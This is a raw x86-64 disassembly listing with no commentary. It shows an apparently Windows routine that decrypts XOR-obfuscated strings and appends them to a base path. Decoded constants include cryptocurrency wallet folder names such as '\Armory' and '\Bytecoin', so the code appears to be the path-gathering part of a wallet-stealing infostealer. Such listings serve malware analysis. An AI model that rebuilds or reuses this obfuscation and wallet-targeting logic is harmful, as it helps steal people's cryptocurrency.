test rax, rax
jne 0x14003890c
xor edi, edi
mov ebx, edi
jmp 0x140038953
mov dword [0x14018719c], edi
mov dword [0x140187198], 6
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
mov eax, dword [rsp + 0x70]
mov dword [rbx + 8], eax
movzx eax, word [rsp + 0x74]
mov word [rbx + 0xc], ax
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rsp + 0x44]
mov r8b, 1
call fcn.140052470
xor edi, edi
mov qword [rsp + 0x68], rbx
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140038975
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140038984
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, edi
lea r9, [rsp + 0x44]
mov r10, rsi
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1400389a0
mov r9d, dword [0x14018719c]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.1400525a0
mov rbx, rax
test rax, rax
jne 0x140038a10
mov rbx, rdi
jmp 0x140038a2a
movzx eax, byte [rsp + 0x40]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
mov byte [rbx + 6], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x380], xmm1
lea rax, [rbp + 0xaa0]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140038a50
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x370]
call fcn.140005e70
nop
mov rdx, rbx
lea rcx, [rbp + 0x370]
call fcn.140005750
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x38], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x210]
lea r8, [rbp + 0x20]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140036040
nop
lea rcx, [rbp + 0x370]
call fcn.140005a50
lea rax, [rbp + 0x230]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x5d0]
call fcn.14003bd40
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140038b07
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140038b16
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
xor r9d, r9d
lea r8, [rdi + 4]
mov r10, r8
mov r11, rsi
nop dword [rax]
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140038b30
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x140038b94
xor edi, edi
mov edx, edi
jmp 0x140038bb5
mov rcx, rdx
mov r8, r15
nop word [rax + rax]
movzx eax, byte [rdi]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140038ba0
mov byte [rdx + 0xd], r8b
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
mov qword [rbp + 0x240], rdi
mov qword [rbp + 0x248], rdi
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140038bd0
lea rcx, [rbp + 0x230]
call fcn.140005e70
nop
mov cl, 0x12
mov byte [rsp + 0x40], cl
mov dword [rsp + 0x70], 0x7f60534e
mov dword [rsp + 0x74], 0x6b607d
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140038c18
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140038c27
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, edi
lea r9, [rsp + 0x44]
mov r10, rsi
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140038c40
mov eax, 7
nop dword [rax + rax]
inc eax
test al, 0xf
jne 0x140038c90
mov qword [0x140187190], rdi
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x140038cbc
xor edi, edi
mov ebx, edi
jmp 0x140038d0b
mov dword [0x14018719c], edi
mov dword [0x140187198], 7
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
mov eax, dword [rsp + 0x70]
mov dword [rbx + 8], eax
movzx eax, word [rsp + 0x74]
mov word [rbx + 0xc], ax
movzx eax, byte [rsp + 0x76]
mov byte [rbx + 0xe], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rsp + 0x44]
mov r8b, 1
call fcn.140052470
xor edi, edi
mov qword [rsp + 0x68], rbx
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140038d2d
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140038d3c
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, edi
lea r9, [rsp + 0x44]
mov r10, rsi
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140038d50
mov r9d, dword [0x14018719c]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.1400525a0
mov rbx, rax
test rax, rax
jne 0x140038dc0
mov rbx, rdi
jmp 0x140038ddd
movzx eax, byte [rsp + 0x40]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
xor byte [rbx + 6], al
mov byte [rbx + 7], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3a0], xmm1
lea rax, [rbp + 0xaa0]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140038e00
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x390]
call fcn.140005e70
nop
mov rdx, rbx
lea rcx, [rbp + 0x390]
call fcn.140005750
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rdi
mov qword [rbp + 0x58], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x230]
lea r8, [rbp + 0x40]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140036040
nop
lea rcx, [rbp + 0x390]
call fcn.140005a50
lea rax, [rbp + 0x250]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x610]
call fcn.14003bea0
mov rdi, rax
movsx ebx, byte [rax]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140038eb7
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140038ec6
mov edx, 0x9d
call fcn.140052d80
imul ebx, ebx, 0x5bd1e995
xor r9d, r9d
lea r8, [rdi + 4]
mov r10, r8
mov r11, rsi
nop dword [rax]
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul ecx, eax, 0x5bd1e995
xor ecx, r9d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140038ee0
mov r9d, dword [0x14018719c]
mov rdx, qword [rdi + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
jne 0x140038f42
xor edi, edi
mov edx, edi
jmp 0x140038f65
mov rcx, rdx
mov r8d, 0xf
nop dword [rax + rax]
movzx eax, byte [rdi]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140038f50
mov byte [rdx + 0xf], r8b
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], rdi
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140038f80
lea rcx, [rbp + 0x250]
call fcn.140005e70
nop
mov cl, 0x2d
mov byte [rsp + 0x40], cl
mov dword [rsp + 0x70], 0x59546f71
mov dword [rsp + 0x74], 0x44424e48
mov word [rsp + 0x78], 0x43
movsx ebx, cl
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140038fcf
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x140038fde
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, edi
lea r9, [rsp + 0x44]
mov r10, rsi
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140038ff0
mov eax, 9
nop dword [rax + rax]
inc eax
test al, 0xf
jne 0x140039040
mov qword [0x140187190], rdi
lea edi, [rax + 8]
mov edx, edi
call fcn.140052d80
mov rbx, rax
mov qword [0x140187190], rax
test rax, rax
jne 0x14003906c
xor edi, edi
mov ebx, edi
jmp 0x1400390b6
mov dword [0x14018719c], edi
mov dword [0x140187198], 9
mov dword [rax], edi
mov eax, dword [0x140187198]
mov dword [rbx + 4], eax
movsd xmm0, qword [rsp + 0x70]
movsd qword [rbx + 8], xmm0
movzx eax, byte [rsp + 0x78]
mov byte [rbx + 0x10], al
mov edx, dword [0x14018719c]
add edx, 0xfffffff8
lea rcx, [rbx + 8]
lea r9, [rsp + 0x44]
mov r8b, 1
call fcn.140052470
xor edi, edi
mov qword [rsp + 0x68], rbx
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140014160
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1400390d8
mov edx, 0x84
call fcn.140052d80
cmp ebx, 0xffffffb7
jg 0x1400390e7
mov edx, 0x9d
call fcn.140052d80
imul r11d, ebx, 0x5bd1e995
mov r8d, edi
lea r9, [rsp + 0x44]
mov r10, rsi
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul ecx, eax, 0x5bd1e995
xor ecx, r8d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140039100
mov r9d, dword [0x14018719c]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.1400525a0
mov rbx, rax
test rax, rax
jne 0x140039170
mov rbx, rdi
jmp 0x140039193
movzx eax, byte [rsp + 0x40]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
xor byte [rbx + 6], al
xor byte [rbx + 7], al
xor byte [rbx + 8], al
mov byte [rbx + 9], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3c0], xmm1
lea rax, [rbp + 0xaa0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400391b2
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x3b0]
call fcn.140005e70
nop
mov rdx, rbx
lea rcx, [rbp + 0x3b0]
call fcn.140005750
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r9, [rbp + 0x250]
lea r8, [rbp + 0x60]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.140036040
nop
lea rcx, [rbp + 0x3b0]
call fcn.140005a50
lea rax, [rbp + 0x270]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x890]
call fcn.14003c180
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x140039269
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x140039278
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
xor r9d, r9d
lea r8, [rbx + 4]
mov r10, r8
mov r11, rsi
nop dword [rax + rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul ecx, eax, 0x5bd1e995
xor ecx, r9d
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140039290
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdx, rax
test rax, rax
je 0x140039343
xor r9d, r9d
movsx eax, byte [rbx]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
lea rax, [rdx + 0x12]
cmp rdx, rbx
ja 0x140039311
cmp rax, rbx
jae 0x140039322
movdqu xmm0, xmmword [rdx]
xorps xmm0, xmm1
movdqu xmmword [rdx], xmm0
mov r9d, 0x10
lea rcx, [rdx + r9]
mov r8d, 0x13
sub r8, r9
nop
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140039330
mov byte [rdx + 0x13], r8b
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], 0
mov qword [rbp + 0x288], 0
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140039366
lea rcx, [rbp + 0x270]
call fcn.140005e70
nop
lea rcx, [rbp + 0x8e0]
call fcn.14003c000
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140014160
add edi, eax
cmp edi, 0xfffffff0
jg 0x1400393a7
mov edx, 0x84
call fcn.140052d80
cmp edi, 0xffffffb7
jg 0x1400393b6
mov edx, 0x9d
call fcn.140052d80
imul edi, edi, 0x5bd1e995
xor r9d, r9d
lea r8, [rbx + 4]
mov r10, r8
mov r11, rsi
nop dword [rax]
mov eax, edi
shr eax, 0x18
xor eax, edi
imul eax, eax, 0x5bd1e995
mov ecx, r9d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r9d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x1400393d0
mov r9d, dword [0x14018719c]
mov rdx, qword [rbx + 0x28]
call fcn.1400525a0
mov rdi, rax
mov esi, 0x1d
test rax, rax
jne 0x140039439
xor ebx, ebx
mov edi, ebx
jmp 0x140039494
xor r8d, r8d
movsx eax, byte [rbx]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
lea rax, [rdi + 0x1c]
cmp rdi, rbx
ja 0x14003945e
cmp rax, rbx
jae 0x14003946f
movdqu xmm0, xmmword [rdi]
xorps xmm0, xmm1
movdqu xmmword [rdi], xmm0
mov r8d, 0x10
lea rcx, [rdi + r8]
mov rdx, rsi
sub rdx, r8
nop dword [rax]
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140039480
mov byte [rdi + 0x1d], dl
xor ebx, ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3e0], xmm1
lea rax, [rbp + 0xaa0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400394b3
mov al, 1
mov rcx, qword [rbp + 0xbb0]
xor rcx, rsp
call fcn.14012f610
lea r11, [rsp + 0xcc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14012fa1c
int3